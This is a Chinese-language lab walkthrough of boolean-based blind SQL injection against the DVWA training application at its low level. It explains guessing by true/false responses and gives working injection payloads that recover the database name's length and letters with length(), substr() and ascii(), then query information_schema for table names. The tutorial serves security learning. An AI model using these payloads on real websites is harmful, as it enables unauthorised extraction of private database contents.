DVWA SQL Injection(Blind) - 布尔盲注
布尔盲注
顾名思义盲注就是看不到有效的正常回显与错误回显,布尔盲注则表示存在非真即假状态式回显,就相当于猜数字,我问这个数大于或小于某个范围,他能告知我正确还是错误,问 N 次后得到最终的结果
难度等级 LOW
根据经验手动查找漏洞点
?id=1' and 1=1 -- -
测试返回为真的状态:
测试返回为假的状态:
根据这两个状态就能够进行基本的猜解了
猜解数据库名
长度破解
需要使用 length()
函数
?id=1' and length(database()) <= 8 -- -
手动二分:<= 8 - True
手动二分:<= 4 - True
手动二分:<= 2 - False
手动二分:<= 3 - False
因此长度为 4
内容破解
left(str, length)
函数用于从目标字符串左侧截取 length 长度个字符,返回子字符串right(str, length)
函数用于从目标字符串右侧截取 length 长度个字符,返回子字符串substr(str, start, length)
函数用于从目标字符串 start 索引处开始截取 length 长度个字符,返回子字符串ascii(char)
函数用于将目标字符转为 ascii 码,变为数字方便二分
1、判断是小写字母
?id=1' and ascii(substr(database(), 1, 1)) <= 97 -- -
2、然后通过二分判断最终的字符是 d
= 100
猜解表名
因为可能存在多个表,需要使用 limit 0, 1
逐个猜解;具体步骤和猜解数据库名称一致,先确定长度后确定详细内容
长度破解
?id=1' and length((
select table_name from information_schema.tables where table_schema=database() limit 0, 1
)) = 9 -- -
内容破解
?id=1' and ascii(substr((
select table_name from information_schema.tables where table_schema=database() limit 0, 1
), 1, 1)) >= 97 -- -
其它难度等级
其它难度等级如何寻找注入点和 SQL Injection 一题一致,注入点寻找完毕后,就可以利用 Blind - low 的布尔盲注方式实现注入了,再次就不多赘述了,这里仅仅是一个原理的解释,人工复现着实复杂, 还需要使用自动化工具辅助实现